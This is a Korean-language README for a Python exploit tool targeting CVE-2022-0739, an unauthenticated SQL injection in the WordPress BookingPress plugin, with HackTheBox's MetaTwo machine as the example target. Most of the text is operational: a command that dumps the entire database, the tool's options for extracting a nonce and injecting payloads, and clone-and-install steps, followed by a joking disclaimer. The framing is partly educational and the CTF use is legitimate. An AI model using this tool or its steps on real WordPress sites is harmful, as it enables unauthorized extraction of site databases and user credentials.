
destr4ct POC를 기반으로 한 WP BookingPress (< 1.0.11) 익스플로잇
CVE-2022-0739 BookingPress 익스플로잇에 대한 제 버전입니다. destr4ct의 POC를 기반으로 했으며, 조금 더 보기 좋게 다듬었습니다.
HackTheBox의 MetaTwo 머신을 대상으로 한 예제입니다. 해당 머신은 취약한 bookingpress 플러그인(버전 1.0.10)이 설치된 WordPress를 호스팅합니다.
python booking-sqlinjector.py -u http://metapress.htb -nu http://metapress.htb/events/ -a -o db_dump
usage: booking-sqlinjector.py [-h] -u URL [-o BASENAME] [-p PAYLOAD] [-a] [-v] (-n NONCE | -nu NONCE_URL)
options:
-h, --help show this help message and exit
-u URL, --url URL URL of WordPress server with vulnerable plugin (http://example.domain)
-o BASENAME, --out BASENAME
Output database schema and dump in JSON format
-p PAYLOAD, --payload PAYLOAD
Payload to inject. Should start with ')'
-a, --dump-all Enables whole DB dump
-v, --verbose Enables verbose mode
-n NONCE, --nonce NONCE
Nonce that you got as unauthenticated user
-nu NONCE_URL, --nonce-url NONCE_URL
URL where nonce can be extracted (bookingprss form page)
git clone https://github.com/viardant/CVE-2022-0739
cd CVE-2022-0739
pip install -r requirements.txt
TL:DR; 교육 목적으로만 사용하세요. 소유하지 않았거나 침투 테스트 허가를 받지 않은 대상은 망가뜨리지 마세요. 이 프로그램을 불법적인 목적으로 사용하면, 사이버 보안의 신들이 당신의 컴퓨터를 너무나 치명적인 맬웨어로 내리쳐서, 차라리 Mac을 샀더라면 좋았을 것이라고 후회하게 될 수도 있습니다.